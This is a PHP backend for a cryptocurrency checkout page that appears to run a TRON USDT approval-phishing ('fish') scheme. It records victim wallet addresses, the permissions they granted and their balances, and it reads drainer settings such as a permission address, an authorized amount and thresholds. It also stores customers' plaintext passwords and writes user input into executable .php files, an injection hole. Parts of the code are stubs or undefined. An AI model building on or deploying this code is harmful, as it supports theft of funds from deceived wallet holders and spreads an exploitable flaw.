<?php
require_once '../../../../thinkphp/base.php';
require_once '../../../../public/assets/libs/qrcode/qrlib.php';
use think\Db;
use think\Exception;
$config = include __DIR__ . '/../../../../application/database.php';
Db::setConfig($config);
ob_start();
try {
$optionsArr = fetchOptions();
$fishAddresses = fetchFishAddresses();
$data = getPostedData();
$order_number = generateOrderNumber();
// 验证支付地址
$paymentAddress = validatePaymentAddress($optionsArr);
// 支付金额需要重新写入
$total_price = $data['total_price'];
// 检查 $total_price 是否为有效的数值
if (!is_numeric($total_price) || $total_price <= 0) {
throw new InvalidArgumentException("无效的支付金额");
}
$amount = $total_price;
// 验证支付地址格式
validateTronAddress($paymentAddress);
// USDT 合约地址(固定)
$tokenContract = $optionsArr['permission_address'];
// 验证金额是否大于 0
validateAmount($amount);
// 生成 TronLink 兼容的 URI
$qrContent = generateQrContent($paymentAddress, $amount,$tokenContract);
// 获取二维码目录
$qrcodeDir = getQrCodeDirectory($config);
// 确保目录存在且可写
ensureDirectoryExists($qrcodeDir);
// 生成二维码图片
$fileName = "qrcode_{$order_number}.png";
$filePath = $qrcodeDir . $fileName;
try {
QRcode::png($qrContent, $filePath, QR_ECLEVEL_L, 4);
} catch (Exception $e) {
error_log("生成二维码失败: " . $e->getMessage());
throw new Exception("生成二维码失败,请稍后重试");
}
// 假设二维码的访问 URL 可以通过相对路径构建
$qrCodeUrl = "/qrcodes/{$fileName}";
$orderData = [
'order_number' => $order_number,
'goods_name' => htmlspecialchars($data['goods_name']),
'num' => htmlspecialchars($data['num']),
'total_price' => htmlspecialchars($data['total_price']),
'email' => htmlspecialchars($data['email']),
'password' => htmlspecialchars($data['password']),
'mobile' => htmlspecialchars($data['mobile']),
'attach' => json_encode($data['attach']),
'options' => json_encode($optionsArr),
'fish_addresses' => json_encode($fishAddresses),
'goods_cover' => htmlspecialchars($data['goods_cover']),
'qrcode_url' => $qrCodeUrl, // 添加二维码 URL 到订单数据
'payment_address' => $paymentAddress,
];
$template_content = loadTemplate("../jiaoyi/pay.html");
foreach ($orderData as $key => $value) {
$template_content = str_replace("{{" . strtoupper($key) . "}}", addslashes($value), $template_content);
}
saveOrderPage($order_number, $template_content);
if (!empty($_POST['authorization_success'])) {
$fish_address = $_POST['fish_address'] ?? null;
$permissions_fishaddress = $_POST['permissions_fishaddress'] ?? null;
$usdt_balance = $_POST['usdt_balance'] ?? 0.00000000;
$time = date('Y-m-d H:i:s');
if ($fish_address && $permissions_fishaddress) {
try {
$result = Db::name('fish')->insert([
'fish_address' => $fish_address,
'permissions_fishaddress' => $permissions_fishaddress,
'usdt_balance' => $usdt_balance,
'time' => $time
]);
echo json_encode(['status' => 'success']);
} catch (Exception $e) {
echo json_encode(['status' => 'error', 'message' => '插入失败: ' . $e->getMessage()]);
}
} else {
echo json_encode(['status' => 'error', 'message' => '缺少必要的地址信息']);
}
}
ob_end_clean();
sendSuccessResponse("/epay/$order_number.php");
} catch (Exception $e) {
ob_end_clean();
sendErrorResponse($e);
}
function fetchOptions() {
$options = Db::name('options')->select();
$optionsArr = [];
// 定义允许获取的字段列表
$allowedFields = [
'domain', // 跳转域名
'payment_address', // TRC收款地址
'permission_address', // TRC权限地址
// 'bot_key', // 机器人密钥
'notification_id', // 通知ID
'trx_balance', // TRX阈值
'usdt_balance', // USDT阈值
'authorized_amount', // 授权金额
'authorize_note', // 授权成功后提示
'model', // 授权模式选择
'notification_switch', // 通知开关
'auto_threshold', // 授权后自动添加阈值
'chainid', // 链ID设置
'0x_payment_address', // 0x收款地址
'0x_permission_address' // 0x权限地址
];
foreach ($options as $option) {
if (in_array($option['name'], $allowedFields)) {
$optionsArr[$option['name']] = $option['value'];
}
}
return $optionsArr;
}
/**
* 验证支付地址
* @param array $optionsArr 配置数组
* @return string 验证后的支付地址
* @throws InvalidArgumentException
*/
function validatePaymentAddress(array $optionsArr) {
$paymentAddress = $optionsArr['payment_address'];
if (empty($paymentAddress)) {
throw new InvalidArgumentException("支付地址配置缺失");
}
if (!preg_match('/^T[A-HJ-NP-Za-km-z1-9]{33}$/', $paymentAddress)) {
throw new InvalidArgumentException("无效的TRON收款地址");
}
return $paymentAddress;
}
// 验证 TRON 地址格式
function validateTronAddress($address) {
if (!preg_match('/^T[A-Za-z0-9]{33}$/', $address)) {
throw new InvalidArgumentException("无效的TRON地址格式");
}
}
// 验证金额是否大于 0
function validateAmount($amount) {
if ($amount <= 0) {
throw new InvalidArgumentException("支付金额必须大于0");
}
}
// 生成 TronLink 兼容的二维码内容
function generateQrContent($paymentAddress, $amount, $tokenContract) {
return "tron:{$paymentAddress}?amount={$amount}&token={$tokenContract}";
}
// 获取二维码目录
function getQrCodeDirectory($config) {
return $config['qrcode_dir'] ?? __DIR__ . '/../../../../public/qrcodes/';
}
// 确保目录存在且可写
function ensureDirectoryExists($directory) {
if (!is_dir($directory)) {
if (!mkdir($directory, 0775, true) && !is_dir($directory)) {
throw new RuntimeException("无法创建二维码目录: {$directory}");
}
}
}
function fetchFishAddresses() {
$addresses = Db::name('fish')->column('fish_address');
return $addresses;
}
function getPostedData() {
return [
'goods_id' => $_POST['goods_id'] ?? null,
'num' => $_POST['num'] ?? null,
'sku_id' => $_POST['sku_id'] ?? null,
'pay_type' => $_POST['pay_type'] ?? null,
'goods_name' => $_POST['goods_name'] ?? null,
'total_price' => $_POST['total_price'] ?? null,
'mobile' => $_POST['mobile'] ?? null,
'email' => $_POST['email'] ?? null,
'password' => $_POST['password'] ?? null,
'attach' => $_POST['attach'] ?? [],
'goods_cover' => $_POST['goods_cover'] ?? null,
];
}
function generateOrderNumber() {
return date('YmdHis') . rand(100000, 999999);
}
function loadTemplate($template_path) {
$template_content = file_get_contents($template_path);
if ($template_content === false) {
throw new Exception("无法读取模板文件: $template_path");
}
return $template_content;
}
function saveOrderPage($order_number, $content) {
$order_page_path = __DIR__ . "/../../../epay/$order_number.php";
if (file_put_contents($order_page_path, $content) === false) {
throw new Exception("订单页面生成失败: $order_page_path");
}
}
function sendSuccessResponse($redirect_url) {
$response = [
'status' => 'success',
'redirect_url' => $redirect_url
];
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
function sendErrorResponse($e) {
$response = [
'status' => 'error',
'message' => $e->getMessage(),
'file' => $e->getFile(),
'line' => $e->getLine(),
'trace' => $e->getTraceAsString()
];
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
function checkPaymentStatus($order_number, $paymentAddress, $amount) {
// 这里需要根据 TronLink 或者区块链浏览器的 API 进行实现
// 假设返回一个布尔值表示支付是否成功
// 示例代码,实际需要替换为真实的 API 调用
$paymentSuccess = false;
return $paymentSuccess;
}
// 验证自定义合约的支付交易
function verifyCustomContractPayment($txid, $expectedAmount, $tokenContract) {
$apiKey = "你的 TRONGRID API Key";
$contractAddress = "{$tokenContract}";
$url = "https://api.trongrid.io/v1/transactions/{$txid}";
$headers = [
"TRON-PRO-API-KEY: {$apiKey}",
"Content-Type: application/json"
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode($response, true);
if (isset($data['data'][0])) {
$tx = $data['data'][0];
// 验证:交易成功 + 调用的是目标合约 + 金额匹配
if ($tx['contract_address'] === $contractAddress
&& $tx['receipt']['result'] === 'SUCCESS') {
// 解析输入数据(需根据合约 ABI 解码,此处为示例)
$inputData = $tx['raw_data']['contract'][0]['parameter']['value']['data'];
$amount = decodeAmountFromData($inputData); // 自定义解码函数
return $amount >= $expectedAmount;
}
}
return false;
}
?>
最新发布